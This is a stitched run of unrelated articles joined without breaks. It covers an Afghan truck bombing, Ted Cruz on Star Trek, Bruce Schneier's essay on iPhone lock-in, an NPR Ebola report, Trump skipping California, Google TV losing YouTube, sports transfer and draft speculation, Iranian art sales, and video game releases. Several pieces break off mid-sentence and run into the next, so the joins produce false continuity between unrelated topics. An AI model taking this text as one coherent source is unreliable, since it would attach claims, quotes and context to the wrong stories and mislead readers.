accountability and taking responsibility,” he says. “We are not victims. We’re not being blown around like dust in the wind. We have control over our destiny.”A truck bomb targeting the outer perimeter of police headquarters in eastern Afghanistan early on 7 December wounded at least 12 people, including seven police officers, hospital officials said. The governor of Nangarhar province, Saleem Khan Kunduzi, said the explosion was very powerful, damaging a number of nearby buildings. "A powerful explosion struck Surkhrod district today and I myself went there and inspected the site of attack," he said. "It was early morning so no one was on the road and in the shops, but as a result of the explosion some shops, religious schools, police headquarters and nearby houses have been destroyed." No group has claimed responsibility for the attack, but Taliban insurgents who are fighting to topple the foreign-backed Kabul government frequently carry out suicide and roadside bombings across the country. The Taliban has grown more powerful and made gains outside its southern and eastern heartlands and into northern areas since the bulk of Nato troops withdrew at the end of 2014.(Paramount Television via AP) "Star Trek" Captain James T. Kirk is a Republican. That’s what Ted Cruz wants you to think, anyway. In an interview with the New York Times, Cruz argues that what makes Kirk, well, Kirk, are the very values that define the GOP. “I think it is quite likely that Kirk is a Republican and [Jean-Luc] Picard is a Democrat,” Cruz told the Times, suggesting that Picard — Kirk’s successor as captain of the fictional USS Enterprise — is too rational to be an effective leader. Cruz clearly believes that the country would benefit from having a Kirk-like figure in the White House. But as arguments for electing a Republican go, this is not a winning one. Kirk’s character is charismatic and assertive, which are positive qualities we associate with leadership. But Kirk — quick to action and even quicker to take risks — is also prone to letting his passions get in the way of what is best for his crew and the mission at hand. In fact, Kirk’s saving grace is that his more rational crew members — his interstellar cabinet, so to speak — keep him in check. No one more so than Spock, who is often described as Kirk’s more logical alter ego. Given that President Obama is often compared to Spock, it's no surprise to see Cruz claim Kirk for the Republicans. But far from being a more “complete” leader than Picard, as Cruz likes to claim, Kirk is a rather one-dimensional figure whose most memorable successes take place during crises — and even then, generally in spite of himself. In “Star Trek VI: The Undiscovered Country,” Kirk allows his personal hatred of Klingons — a legitimate emotion stemming from the murder of his only son at the hand of the evil Commander Kruge — to put him in a compromising position. The Federation is about to sign a
his spine snapped," he said. "We're paying attention all the time because we consider those kids our kids and we think they're important and they shouldn't be living in poverty and violence."Lock-In Buying an iPhone isn't the same as buying a car or a toaster. Your iPhone comes with a complicated list of rules about what you can and can't do with it. You can't install unapproved third-party applications on it. You can't unlock it and use it with the cellphone carrier of your choice. And Apple is serious about these rules: A software update released in September 2007 erased unauthorized software and -- in some cases -- rendered unlocked phones unusable. "Bricked" is the term, and Apple isn't the least bit apologetic about it. Computer companies want more control over the products they sell you, and they're resorting to increasingly draconian security measures to get that control. The reasons are economic. Control allows a company to limit competition for ancillary products. With Mac computers, anyone can sell software that does anything. But Apple gets to decide who can sell what on the iPhone. It can foster competition when it wants, and reserve itself a monopoly position when it wants. And it can dictate terms to any company that wants to sell iPhone software and accessories. This increases Apple's bottom line. But the primary benefit of all this control for Apple is that it increases lock-in. "Lock-in" is an economic term for the difficulty of switching to a competing product. For some products -- cola, for example -- there's no lock-in. I can drink a Coke today and a Pepsi tomorrow: no big deal. But for other products, it's harder. Switching word processors, for example, requires installing a new application, learning a new interface and a new set of commands, converting all the files (which may not convert cleanly) and custom software (which will certainly require rewriting), and possibly even buying new hardware. If Coke stops satisfying me for even a moment, I'll switch: something Coke learned the hard way in 1985 when it changed the formula and started marketing New Coke. But my word processor has to really piss me off for a good long time before I'll even consider going through all that work and expense. Lock-in isn't new. It's why all gaming-console manufacturers make sure that their game cartridges don't work on any other console, and how they can price the consoles at a loss and make the profit up by selling games. It's why Microsoft never wants to open up its file formats so other applications can read them. It's why music purchased from Apple for your iPod won't work on other brands of music players. It's why every U.S. cellphone company fought against phone number portability. It's why Facebook sues any company that tries to scrape its data and put it on a competing website. It explains airline frequent flyer programs, supermarket affinity cards and the new My Coke Rewards program. With enough lock-in, a company can protect its market share even as it reduces customer service, raises prices, refuses to innovate and otherwise abuses its customer base. It should be no surprise that this sounds like pretty much every experience you've had with IT companies: Once the industry discovered lock-in, everyone started figuring out how to get as much of it as they can. Economists Carl Shapiro and Hal Varian even proved that the value of a software company is the total lock-in. Here's the logic: Assume, for example, that you have 100 people in a company using MS Office at a cost of $500 each. If it cost the company less than $50,000 to switch to Open Office, they would. If it cost the company more than $50,000, Microsoft would increase its prices. Mostly, companies increase their lock-in through security mechanisms. Sometimes patents preserve lock-in, but more often it's copy protection, digital rights management (DRM), code signing or other security mechanisms. These security features aren't what we normally think of as security: They don't protect us from some outside threat, they protect the companies from us. Microsoft has been planning this sort of control-based security mechanism for years. First called Palladium and now NGSCB (Next-Generation Secure Computing Base), the idea is to build a control-based security system into the computing hardware. The details are complicated, but the results range from only allowing a computer to boot from an authorized copy of the OS to prohibiting the user from accessing "unauthorized" files or running unauthorized software. The competitive benefits to Microsoft are enormous (.pdf). Of course, that's not how Microsoft advertises NGSCB. The company has positioned it as a security measure, protecting users from worms, Trojans and other malware. But control does not equal security; and this sort of control-based security is very difficult to get right, and sometimes makes us more vulnerable to other threats. Perhaps this is why Microsoft is quietly killing NGSCB -- we've gotten BitLocker, and we might get some other security features down the line -- despite the huge investment hardware manufacturers made when incorporating special security hardware into their motherboards. In my last column, I talked about the security-versus-privacy debate, and how it's actually a debate about liberty versus control. Here we see the same dynamic, but in a commercial setting. By confusing control and security, companies are able to force control measures that work against our interests by convincing us they are doing it for our own safety. As for Apple and the iPhone, I don't know what they're going to do. On the one hand, there's this analyst report that claims there are over a million unlocked iPhones, costing Apple between $300 million and $400 million in revenue. On the other hand, Apple is planning to release a software development kit this month, reversing its earlier restriction and allowing third-party vendors to write iPhone applications. Apple will attempt to keep control through a secret application key that will be required by all "official" third-party applications, but of course it's already been leaked. And the security arms race goes on... This essay previously appeared on Wired.com. EDITED TO ADD (2/12): Slashdot thread. And critical commentary, which is oddly political: This isn’t lock-in, it’s called choosing a product that meets your needs. If you don’t want to be tied to a particular phone network, don’t buy an iPhone. If installing third-party applications (between now and the end of February, when officially-sanctioned ones will start to appear) is critically important to you, don’t buy an iPhone. It’s one thing to grumble about an otherwise tempting device not supporting some feature you would find useful; it’s another entirely to imply that this represents anti-libertarian lock-in. The fact remains, you are free to buy one of the many other devices on the market that existed before there ever was an iPhone. Actually, lock-in is one of the factors you have to consider when choosing a product to meet your needs. It's not one thing or the other. And lock-in is certainly not "anti-libertarian." Lock-in is what you get when you have an unfettered free market competing for customers; it's libertarian utopia. Government regulations that limit lock-in tactics -- something I think would be very good for society -- is what's anti-libertarian. Here's a commentary on that previous commentary. This is some good commentary, too. Posted on February 12, 2008 at 6:08 AM • 71 CommentsAn Ebola Success Story In Northern Liberia The town of Foya, Liberia, was hit hard by the Ebola epidemic. But correspondent Jon Hamilton tells NPR's Rachel Martin that with education and precautionary measures, the virus has nearly been wiped out. RACHEL MARTIN, HOST: We turn now to the Ebola crisis. Three states - New York, New Jersey and Illinois - have imposed a quarantine for medical workers returning from West Africa. Meanwhile, the U.S. ambassador to the United Nations, Samantha Power, landed in Guinea today to oversee the Ebola response in the region and drum up more international support. She'll also visit Sierra Leone and Liberia, the nation hardest hit by the outbreak. And that is where we reached NPR's Jon Hamilton. I spoke with him from the Liberian border town of Foya. JON HAMILTON, BYLINE: This is where the epidemic started. People think that somebody came - somebody with Ebola came across the border from Guinea and landed in this area. And Foya is a small town in the county of Lofa where they had just an outbreak that horrified everybody. Hundreds of people in the area died. And this is where Medecins Sans Frontieres set up their care unit. We wanted to come back and see how things might have changed. MARTIN: So what are you seeing, Jon? Where are you right now? HAMILTON: Well, I'm actually standing in the middle of the Medecins Sans Frontieres compound here. I'm in the administrative area, and you can hear birds chirping, perhaps. But this is a place where NGO set up an operation that has handled probably as many Ebola patients as any place in rural Liberia. MARTIN: And what is the situation? Where is the epidemic at this point? HAMILTON: Earlier today I toured the treatment area, and they showed me the areas where, at one time, they had well over 100 patients with Ebola. Today there are three. So it is just a dramatic, dramatic change. And part of it is that there has been, since they set up the unit here, a place to take people who are very sick. That has meant that they are not at home where they're at risk of infecting other people. But they say the biggest change is probably that they have sent health workers out into the community, people from the community who know the people here, and they have told them that the people at Medecins Sans Frontieres are not the people bringing Ebola but the people who are here to help them with that. And they've taught them about hand washing about how not to have contact with bodies. And it has made just an enormous difference. MARTIN: You were in Monrovia, the capital of Liberia, earlier. How does that compare? What are things like there? HAMILTON: According to the WHO report, there were more than 400 new cases in the past week there. So it does not appear the epidemic is slowing down. What has happened in Monrovia is that there's been a lot more organization. There are Ebola teams that respond if there is a person. People have really gotten back to living their lives. So we talked to a man who sells art. And business is slow, but he has to be back out there. We talked to a woman who is a hairdresser. And she is back doing business because if they don't work, they don't eat. They are going on with their lives and earning a living because they have to. MARTIN: NPR's Jon Hamilton in Liberia. Thank you so much, Jon. HAMILTON: You're so welcome. Copyright © 2014 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information. NPR transcripts are created on a rush deadline by Verb8tm, Inc., an NPR contractor, and produced using a proprietary transcription process developed with NPR. This text may not be in its final form and may be updated or revised in the future. Accuracy and availability may vary. The authoritative record of NPR’s programming is the audio record.The Los Angeles Times points out an odd bit of presidential trivia as 2017 comes to a close: President Donald Trump could become the first president since Republican Dwight D. Eisenhower not to visit the State of California in his first full year in office. The Times reports: Trump is about to become the first president since Dwight D. Eisenhower 64 years ago to skip a visit to California during his first calendar year in office. And he doesn’t appear to have any plans to take Air Force One to the country’s most populous and economically powerful state before he marks his first full year in office Jan. 20. Even past presidents who, like Trump, didn’t win the state’s electoral votes made it a destination, if only for California’s allure as the Golden State of campaign cash. The Times notes that California might be a problematic destination for Trump in particular because the state has declared itself to be “ground zero” for the so-called “Resistance” to his presidency. State politicians have sued the administration over almost all of its major policies, and thousands of activists have organized regular protests against Trump in the Golden State, even taking over Hollywood’s vaunted Gay Pride festival for the purpose. Trump has also accused California of allowing voter fraud, which he alleged earlier this year had cost him a popular vote victory over Hillary Clinton because of the large margin she ran up in the state. (Without California, Trump would have won the popular vote nationwide as well as the Electoral College vote.) The president did provide rapid disaster aid for California to aid with flooding as well as wildfires in 2017. There are still three weeks left before the first anniversary of Trump taking office, but he seems to have no plans to visit before then. Joel B. Pollak is Senior Editor-at-Large at Breitbart News. He was named one of the “most influential” people in news media in 2016. He is the co-author of How Trump Won: The Inside Story of a Revolution, is available from Regnery. Follow him on Twitter at @joelpollak.YouTube recently updated their API, and in doing so have blocked access to Google TV. Google TV versions 1 and 2 will be affected by this move, leaving their remaining users unable to access YouTube. Sadly, many of these devices are only 3 years old,leaving many Google TV users out in the cold. “As we upgrade the YouTube Data API to bring more features, we’ll begin shutting down the old version on April 20, 2015. This will result in the current YouTube app not working on certain device models from 2012 and older.” Some of these Google TV boxes sold for as much as $249, and even the discounted clearance price was still $99. This leaves many Google TV users with a very expensive box that won’t do much anymore. The very short lived support for the Google TV is leaving many users unsure if they can trust that the Android TV boxes, like the Nexus Player, will still be supported in three years. Please follow us on Twitter or like us on our new Facebook page.0 of 6 Jonathan Daniel/Getty Images The Chicago Bulls, unlike the Cleveland Cavaliers, do not boast the services of LeBron James. Once the agreed-upon trade for Kevin Love goes through in late August, they'll be short one Kevin Love as well, and there's really no viable substitute for the former (can we call him that now?) Minnesota Timberwolf. Already, the proclamations that the new-look Cavs are the team to beat—at least in the Eastern Conference—have come flowing in. First, let's turn to Pro Basketball Talk's Dan Feldman: Love, LeBron James and Kyrie Irving are going to rule the East. That's so much talent and production, and their dominance will likely begin immediately. If it takes a year for everyone to jell, as it did for LeBron in Miami, so be it. That core is young enough to contend for years – as long as Love follows through with staying. ESPN's Summer Forecast has the Cavaliers winning 56 games and finishing with the No. 1 seed in the East, and that seems to be the majority opinion now that Love is aboard a ship that already included both LeBron and Kyrie Irving. However, it's too soon to foretell that type of greatness for such a young squad. In time, the Cavs will surely earn that designation—just not yet. Cleveland will indeed be a fantastic team and compete for the No. 1 seed throughout the 2014-15 campaign. However, there are too many factors working against them—and for the Bulls—for any team other than Chicago to enter the season as the Eastern Conference favorites.David De Gea is 1/3 to make a summer move to Real Madrid after he was left out of the squad for Manchester United’s Premier League opener against Tottenham Hotspur. Get 1/3 on De Gea to join Real Madrid this summer at Red Devils boss Louis van Gaal pulled no punches when he confirmed the Spanish goalkeeper would be left out of the match against Spurs, and the Dutchman was not left to regret his decision as stand-in stopper Sergio Romero made some decent saves in United’s 1-0 win. Following the match van Gaal was once again quizzed about the future of his former number one, and the 64-year-old insisted the club is prepared to hold out until its valuation of the player has been met. “He has been our best player for two years chosen by the fans so we cannot let him go easily,” van Gaal told reporters. “We have to pay a lot of money for all the players we want and we want to sell at the same level. “We want to keep him, of course. As a keeper, you need the highest concentration for 90 minutes and it's difficult for David to do that in his current situation. We saw that in the tour matches. When the situation is cleared after September 3, we'll look again.” While United play hard-ball over a potential deal, the bookmakers believe they will part with De Gea before the summer transfer window slams shut, with 1/3 that he does make a move to Real Madrid in the coming weeks, while is now 7/2 that he remains at United until winter at least. And while the bookmakers continue to speculate, the media may want to lay off the De Gea questions after van Gaal’s spectacular put-down of a BT Sport interviewer during a post-match interview.TEHRAN (ISNA) – Iran managed to sell 39 artworks at 21st edition of Christie's Auction held in Dubai. The 21st edition of Christie's Middle East Auction opened on October 18 by presence of 41 Iranian artworks. Iranian artworks were displayed in the Auction and 39 works could be sold during the event. In this edition of the auction, more than 113 works of art from Iran, Turkey and Saudi Arabia were showed to the international art lovers. The best Modern and Contemporary Art works were displayed to participants. Some Iranians works were among the most expensive masterpieces and one work by Hossein Zendeh-Roudi was recorded as the second most expensive work sold in this edition of the auction. Works by the late Sohrab Sepehri, Nasser Assar, Reza Mafi, Maliheh Afnan, Hossein Zendeh-Roudi, Mohammad Ehsaei, Nasrollah Afjai, and Sadeq Tabrizi are among the Iranian artists. A collection of rare and delicate pieces from the leaders of the Saqqakhaneh School, which originated in Iran in the early 1960s, was also displayed at the event. Also on show were a few drawings from Tanavoli, who is much better known for his sculptures than these rare pieces, which have been rendered on cardboard. Prices range from as little as US$1,000 to $150,000. End Item"If only I had done so-and-so, or had not said such-and-such-my God, the damn thing might not have happened. Finding this potential in my own mind, I can suspect it in others, but I will never know, for one never tells." -John Steinbeck "Travels With Charley in Search for America What If? The quote above is what if? stated the most articulated and beautiful way to ever dig into this simple yet complex two word, two syllable question. It is a question every human life on this planet riddles and ponders over. What if I sell everything I own and just get up and move? What if I did not go to the doctor when I did? What if God was one of us? What if... and the other 7,680,000,000 results and questions that show up when searching for the phrase on Google. The point is that every decision made is not made in a 4x4 cell where X only effects X; X effects Y, Z, and hundreds of other people as well. The same is true in athletics and in all of professional sports, especially the NFL. Each draft pick, free agency signing, each trade, changes the space time continuum for not only one team, but the thirty-one other teams as well. Every decision takes the league down a rabbit hole of millions of different roster combinations and permutations of how a season would play out. Be careful when taking a dip into the pool of the absurd this question brings; when you try to go deeper, you will just be here all day talking about it making diagrams with straws. So I'll just ask a question. A lonely simple question. I'll just ask one question. Alright, maybe a few questions. Creed - What If (Video) (via CreedVEVO) What if the Houston Texans selected Joey Harrington with the first pick in the 2002 NFL draft? On April 20th 2002, as 99.99% of the site's population knows, the Houston Texans drafted David Duke Carr to be the cornerstone and leader of Houston's newborn franchise. In his senior year at Fresno State,Carr threw for 4,299 yards, 42 TDs, 7 INTs, and had a completion percentage of 64.7%. He did all of this while upsetting Colorado, #10 Oregon State, and #23 Wisconsin. The draft expert Mel Kiper stated: " He is a franchise-caliber quarterback with accuracy and velocity reminiscent of another No. 1 overall pick, Troy Aikman... His sidearm delivery is a concern because there is a possibility for his passes being batted down. Plus, he won't scramble around and make things happen with his legs... The Texans had to pick him. His maturity and leadership are critical aspects of his makeup." The rest was history. Carr could never get his throwing motion right and spent most of his career running from defensive lineman like Tom running from Jerry. Each season, Texans fans clung to the possibility this would be the year Carr would make the leap, but it never came. Kubiak and Smith had enough of the Carr era after one season and cut him after being unable to trade him. Carr would become the scapegoat for Houston's miseries in the first half of the 2000s. At first, Joey Harrington faced the same type of lugubrious situation as Carr did, except in Detroit. Poor O-line play, being thrown into the starting role before he was ready, and offensive coaches who had no how to raise and coddle a QB. After being unable to win on awful team after awful team in Detroit, Harrington was cast off the island. He actually had the chance to start in the NFL again in Miami and later in Atlanta, only to keep throwing garbage into the wind. He just simply was not good. At the time the idea of taking Harrington may have been as nonsensical to Texans fans as being sexually attracted to balloons, but no other draft pick other than QB at the time would have been plausible. Houston would not have addressed defensive line to take Julius Peppers after using the expansion draft to plunder the Jaguars' Gary Walker and Seth Payne. The only player other than Carr Houston could have drafted would have been Joey Harrington. Kiper's analysis on Harrington: "Harrington, who has a Brett Favre-like flair for the dramatic, was a highly productive quarterback and one I had rated only slightly behind Carr. But he outperformed Carr at the NFL scouting combine, showing tremendous touch and accuracy on deep balls and more than adequate arm strength." Let's play the greatest game in the world. Which QB is who? The stats are for their first team they played for: Player A: record- 23-56 TD-59 INT-65 Completion %- 60% Quarterback Rating- 75.5 Approximate Value- 45. Player B: record- 18-37 TD-60 INT-62 Completion%- 54.7% Quarterback Rating- 68.1 Approximate Value- 25. Player A- David Carr w/ Houston. Player B- Joey Harrington w/ Detroit. If Houston took Harrington, they would have been worse and would have been able to pick even higher in the draft. The unintentional comedy would have been greater if Harrington, instead of Carr, would have been sacked 249 times. Despite that, the Texans' drafts would not have changed much until 2005. Then the fun really starts with this what if. You can make the argument Houston would have finished with the Lions' record of 5-11 had Harrington been Houston's QB in 2004 instead of the 7-9 that Carr "led" the Texans to. At 5-11, Houston would have drafted somewhere between 4 and 10. They would have had the opportunity to take DeMarcus Ware, Cedric Benson, Cadillac Williams, Derrick Johnson or Shawne Merriman instead of the illustrious Travis Johnson. Or they could have even gone QB after realizing Harrington was a bust a year sooner than they would have with Carr; that could have meant the opportunity to take Jason Campbell or Aaron Rodgers. Talk about making diagrams with straws and the unexpected results that stem from decisions. Yes, we could have lived in a world where Mario Williams and DeMarcus Ware played on the same team or Aaron Rodgers rocked the Battle Red. The only other thing that would have changed is when Matt Schaub throws the ball right to the defender or limps a deep ball that falls 15 yards short to Andre Johnson, we would be cursing Harrington's and not Carr's name. My 12 year old self is still upset neither of these QBs panned out; I have a Carr and Harrington rookie card siting in my closet that should be worth thousands of dollars rather than only being useful to do cocaine off of in between slurps of a Frosty in a Wendy's bathroom. What if Tony Boselli had never had his shoulder surgery in 2001 and retired before playing a snap with Houston? Tony Boselli claimed that his right shoulder was really the injured one, yet the Jaguars' team doctor had the left one operated on instead. Boselli was a great player who would have looked even greater in blue, red, and white and not ghastly teal. Boselli was gone even if he was 100% healthy because of the Jags' inability to understand how to work a salary cap; he came in with Payne and Walker via the expansion draft. After sitting out all of 2002, he was hoping to come back in 2003, but experienced pain again in the left shoulder. If he had the correct surgery and a decent doctor, he would have had the chance to play about four more years at a high level. The looniest part of this story is how much better medicine is today. If Boselli was injured in 2012, he would have lived in a world where Adrian Peterson and RGIII can come back from a torn ACL in less than a year and play at a high level. Instead, he reached his prime and was injured in a world where "Pimp My Ride" was drawing millions of viewers and sports medicine could not achieve the miracles it can today. Now what would have happened if he actually played a snap with Houston? Texans History: Feb 18 2002 Expansion Draft Part 1 (via swisherHOU) TONY! TONY! TONY! TONY! TONY! TONY! TONY! TONY! "If you are a quarterback or running back and come to this Texans franchise, you're going to have some beef in front of ya. You are going to have protection for the QB and room to run as a RB." Luscious words by the great Ron Jaworski. If Boselli had been able to play for about four years, the Texans would have improved dramatically. They could have put Chester Pitts at LG and run the ball extremely well on the left side. Carr would actually have had time to throw the ball. In his five seasons in Houston, Carr was sacked 76, 15, 49, 68, and 41 times. He played like he had PTSD after his first year at QB and spent most of the time scanning for defensive linemen barreling towards him instead of looking for wide receivers coming out of their breaks. If he had a decent O-line to play behind or was given a year to hang out,his career could have turned into something much different. It is a big IF, but if Carr had Boselli and other satisfactory offensive linemen, he could have led Houston to their first.500+ season and maybe, just maybe, a playoff appearance. I still don't believe Carr was any good, but any QB playing with Andre Johnson who is able to keep head up the field is infinitely better than what Carr was. Maybe there could have been something more than 7-9 during his time in Houston. What if the Michael Vick dog fighting scandal occurred two months sooner? On March 22, 2007, the Texans traded their second round picks in 2007 and 2008 and flipped first round picks in the 2007 NFL Draft to acquire three-year backup QB Matt Schaub, back when he was innocent and had hair. At the time, new head coach Bobby Petrino was sold on QB Michael Vick as his QB and was looking forward to coaching him. Then, on April 25, 2007, a warrant was served to search Vick's cousin's house for drugs, only to find the pit bull fighting operation that Vick and company had been running. The rest of the events which occur afterwards are a desolate stroll down memory lane as the truth gets more gruesome as the timeline progresses. On April 28th, the NFL draft goes live and the Falcons take Jamaal Anderson with the eighth overall pick. The Texans take Amobi Okoye at No. 10. With Houston's second round pick, the Falcons take OG Justin Blalock to complete first part of their haul from the Schaub trade. On July 23rd, Roger Goodell tells Vick not to report to Falcons training camp as the inevitable jail sentence comes to a fruition. The Falcons' season is like a wreck on I-35 where a chicken truck flips over and rams into a school bus as a truck carrying chemicals drives off the highway into the San Marcos River, leading to permanent environmental damage. Joey Harrington, Chris Redman, and Byron Leftwich replaced Vick by going 4-12. Bobby Petrino cowardly ran out of the Georgia Dome like George Sr. after 13 games. However, as bleak as things looked, the Falcons would turn things around quickly when they drafted Matt Ryan with the third pick of the 2008 NFL Draft, then trading both of their second round picks and fourth round pick to Washington for the Redskins' first and fifth round pick. The trade landed Atlanta Sam Baker and Kroy Biermann (Washington took Devin Thomas and Fred Davis). The history does not =stop there. In 2008, Houston flipped first round picks with the Ravens to make up for the lost picks they gave away in the trade for Schaub. Houston traded pick #18 to Baltimore for pick #26 (1st), 89(3rd) and 173 (6th). Baltimore picked Joe Flacco. Houston obtained Duane Brown, Steve Slaton, and Dominique Barber. Now if Vick gets in trouble for his despicable hobby one or two months earlier (why couldn't Vick pick a normal hobby like poetry, homebrew, horseback riding, watching movies, clarinet or square dancing?), the Falcons would have kept Schaub for at least another season. He was highly regarded around the league as a potential starting QB and Atlanta made the highest qualifying offer to keep Schaub to back up Vick. With Schaub off the table and Kubiak still needing someone to replace Carr, Houston either (a) signs a stop-gap QB like Jeff Garcia, Kerry Collins or gulp Joey Harrington to fill the hole or (b) uses a 2007 draft pick on Brady Quinn, Kevin Kolb or John Beck. Yes, we all could have lived in a world where Houston went from David Carr to Quinn or Kolb as their starting QB (and then taking Sidney Rice with their second round pick instead of Jacoby Jones in third). If Houston signed one of those stop-gap turd baskets, they would have drafted a QB the next year after watching Garcia or Collins under center. In 2008, they would not have gone 6-10 (even if Schaub was hurt). They could have taken Flacco with their first round pick. Matt Ryan would have been drafted by either Kansas City, Buffalo or possibly could have fallen all the way down to Houston, who would have picked around pick ten or so in that scenario. If the latter occurred and Houston missed on the QB, they could have hit a home run in the coming years. By 2011 or 2012, Houston would have realized their QB was awful. They would have abandoned ship and overhauled the team. If they made the decision by 2011, they would have ended up with Cam Newton or Jake Locker (gross) or Andrew Luck/ RGIII/Ryan Tannehill/Brandon Weeden in 2012. The interesting part of this what-if is that Smithiak would have been long gone and Houston would have cleaned house for the second time in ten years as a franchise. Man, my head hurts. The state of Virginia swung at least one title (Flacco not playing for Baltimore) and countless other QBs would have played in other towns, all because of when they were able to bust Vick. Both Andre Johnson and I are doing the Schaub fist shake in happiness over how everything unfolded. What if Gerald McCoy never tore his bicep? Let's keep the skeletons dancing and dig up even more bad memories out of this pet sematary. Entering Week 10 of the NFL season, the Houston Texans were rocking and rolling through their schedule. They entered Raymond James Stadium with a record of 6-3. Tampa Bay was playing.500 ball as usual and had just received news their 3rd overall draft pick, Gerald McCoy, would miss the rest of the season after tearing his bicep. Tampa's GM Mark Dominik needed a replacement. On November 9th, newly unemployed Albert Haynesworth became a member of the Tampa Bay Buccaneers. On game day, four days later,Houston dismantled the Bucs. The fun started on the first play of the game when Schaub threw an 80 yard play-action TD pass to Jacoby Jones. The fun continued when Arian Foster turned a simple pass in the flat into a 78 yard touchdown. Everyone was grinning and celebrating as the Texans won 37-9, entering the bye week 7-3 and slathering over an AFC South Championship and a possible #1 seed. However, amid the party, tragedy struck. It was not until November 15th that news broke that Matt Schaub would have season-ending surgery to repair a torn Lisfranc. The injury occurred late in the second quarter of the Tampa game, with Houston backed up on their goal line. On their own one yard line, Schaub ran a sneak up the middle and had his foot tied up in the pile by Haynesworth. The report was that it was not intentional and accidents happen in piles, but I imagine Haynesworth at the bottom of the pile twisting and tearing at Schaub's foot like a dog trying to get the last drop of peanut butter out of a Kong. You know how the the story unfolds: Matt Leinart takes Schaub's place, but breaks his collarbone against Jacksonville. T.J. Yates is the next arm from the bullpen to come in and play QB. Houston wins their next three games and clinches the AFC South on a game-winning touchdown with one second left to beat Cincinnati. The Texans then go 0-3 to end the season. They win their first playoff game in franchise history by beating the Bengals again. The ride finally ends the next week to Baltimore after Yates throws 3 Interceptions and the offense sputters in a 20-13 loss. What happens if Haynesworth is not signed by the Bucs and Schaub gets out of Tampa without an injury? Well, Matt Schaub is still healthy and plays at least the next game and most likely the rest of the season. The playoff matchups would have changed very little since the Ravens and Steelers finished 12-4 and the Pats 13-3. 12-4 was possible, but Kubiak probably would have rested everyone, taken his foot off the gas, coasted to a 11-5 record and the team would have had the same Bengals, Ravens, Pats schedule before reaching the Super Bowl. If Schaub is healthy, Houston beats the Ravens by about 14 points. They were the better team that day, even in spite of Yates and lost because of turnovers, the inability to throw the ball farther than twelve yards, and the Jacoby Jones muffed punt. With Schaub healthy, the game is completely different and the offensive problems that plagued them against Baltimore would have been largely eliminated. The intriguing part is what would have happened in Foxboro in the AFC Championship Game. In one game, anything can happen, as we have seen in the NFL playoffs the past ten years. Some people are in the camp that Houston was the best team in 2011 and would have won the Super Bowl if Schaub was healthy. I don't think they can beat New England and won't until I actually see the light from the game where Houston wins enter the rods and cones in my eyes. Healthy Schaub or not, the Texans would have gone 0-3 against the Pats over the past two seasons and would have just poured butane all over the embers of the Patriots hatred that flows throughout my veins. So if Schuab never was injured, Houston would have played for their first ever AFC Championship and would have had the chance to take on their old #1 pick in the Super Bowl. I hope you are having a great time on your speed boat right now, Albert Haynesworth. The New Year's Day game versus the San Fransisco 49ers lived in infamy in the minds of Texans fans as the day the Bush sweepstakes was clinched. Both the 49ers and Texans were 2-12 entering Week 16 of the NFL season. Then the unthinkable happened: The 49ers won a game. They beat the Rams 24-20 and had a record of 3-12 entering the last week of the season. If Houston won their Week 17 matchup, the 49ers, Saints and Texans would all be tied for the #1 pick with a record of 3-13. Instead of a conglomerate of teams' #1 pick fate determined by a coin flip, the Texans took care of business and missed field goals, threw an interception that turned into a touchdown to give up the lead, and lost in OT. The Texans would draft first for the second time in
, and new to the mythos after talents like Alan Moore, Mark Millar, Scott Snyder, and Brian Vaughn has some serious writing chops, right?" Fielder also points out that Soule is a gamer, too. His writing experience and his love of the medium makes him an excellent addition to the team. "His perspective will help ensure we have characters you care about and plenty of amazing and weird surprises," Fielder said. The Black Glove's Kickstarter campaign has not been a runaway success like another game--The Flame In The Flood--launched recently by yet another team of former BioShock developers. After launching earlier this month, The Black Glove has made $117,000 of its $550,000 goal, with only two weeks remaining. Fielder isn't shying away from the challenges that lie in front of the team, but the PS4 support and Soule's contribution could be just what the campaign needs to get going. "We certainly have our work cut out for us over the next few weeks" -- Joe Fielder "We're being completely up front about the fact that we have a LONG way to go still," Fielder said. "Other projects like Republique have come farther in less time, but it's going to be incredibly tough. We feel an enormous responsibility to all of our former Irrational Games colleagues who have worked hard on the game and everyone who's backed us, so we're going to continue fighting hard every day to make it happen." Fielder also points out that Day For Night has reworked The Black Glove's Kickstarter page to feature language that better describes the game and answers fan questions--while keeping the game's mysteries intact. Finally, Fielder teases that Day For Night has even more surprises in store for The Black Glove between now and when the campaign ends on November 7. "We could definitely use all the help we can get," Fielder said. "I've been entreating gamers that, if this is the type of game that you want to play or the type of company you want making games, to please check out our Kickstarter page and consider backing. Honestly, if people want to play The Black Glove, supporting the Kickstarter project is likely the only way it will happen." "We certainly have our work cut out for us over the next few weeks, but it's an incredible opportunity for us all to turn around a tough year into one when we were able to get our own studio up on its feet and make our dream game," he added. "Something unlike anything you've ever played before, a narrative-based game where you have a direct hand in affecting both the story and world around you. I mean, who doesn't want to alter the past with a fetching, transdimensional object that goes with every outfit?" For more on The Black Glove, check out its Kickstarter page. You can also see some new images in the gallery below.Sega announced they’ve released Alien: Isolation – The Collection today on Steam (PC, Mac, and Linux), PlayStation 4, and Xbox One. The Collection will feature all of the DLC released for the game, including the two missions set aboard the Nostromo where you get to play as Ellen Ripley. There will also be five mission packs that add new maps, playable characters and challenges to the Survivor and Salvage modes. They’re also reducing the price of the standard base game on all platforms to $29.99. The cost for all versions of The Collection will be as follows: Xbox One – $39.99 PlayStation 4 – $39.99 Steam (PC/Mac/Linux) – $59.99 The Steam edition has an exclusive 24 hour launch promotion discount of 50% for The Collection and the standard version of the game. It’s going on — RIGHT NOW! GO! GO! GO!Share. Pretty pricey. Pretty pricey. Warner Bros. has announced a Season Pass for Batman: Arkham Knight will cost £32.99 / $39.99 if purchased on its own, or available in a Premium Edition of the game priced £87.98 / $99 on PS4 and Xbox One. The Season Pass will provide DLC for six months following the game's release. Though solid details on content haven't been nailed down, we should apparently expect "new story missions, additional super-villains invading Gotham City, legendary Batmobile skins, advanced challenge maps, alternative character skins, and new drivable race tracks." Exit Theatre Mode We recently got a new trailer for the game, in which Arkham Knight's darker tone is evident. We first learned of Arkham Knight's M-rating, the first ever in the series, back in February, and were provided with some details of the game's more violent scenes in March. Batman: Arkham Knight's release date is still June 23rd for PC, PlayStation 4, and Xbox One; Mac and Linux coming later. A range of Collector's Editions are also available. Luke Karmali is IGN's UK News Editor. You too can revel in mediocrity by following him on Twitter.Stephen Brashear/Associated Press Los Angeles Rams quarterback Nick Foles struggled in 2015 and could be playing for a new team next season if the Rams decide to go in a different direction. Continue for updates. Rapoport: Multiple Teams Interested if Rams Deal Foles Friday, March 4 Ian Rapoport of NFL Network reported the Miami Dolphins, 